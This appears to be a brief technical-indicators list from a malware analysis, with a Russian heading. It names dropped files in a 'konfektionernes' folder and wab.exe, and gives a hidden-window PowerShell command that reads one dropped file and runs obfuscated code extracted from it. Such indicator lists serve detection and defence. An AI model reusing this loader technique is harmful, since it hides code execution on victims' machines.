Техническая информация
- wab.exe
- %LOCALAPPDATA%\konfektionernes\invulnerable.non
- %LOCALAPPDATA%\konfektionernes\figary223.soj
- %LOCALAPPDATA%\konfektionernes\humanisation.gul
- %LOCALAPPDATA%\konfektionernes\regionplanlgning157.med
- %LOCALAPPDATA%\konfektionernes\bermudian.eks
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -windowstyle hidden "$Kenneled=Get-Content '%LOCALAPPDATA%\Konfektionernes\Figary223.Soj';$Hildebrandist=$Kenneled.SubString(56058,3);.$Hildebrandist($Kenneled)
- '%ProgramFiles(x86)%\windows mail\wab.exe'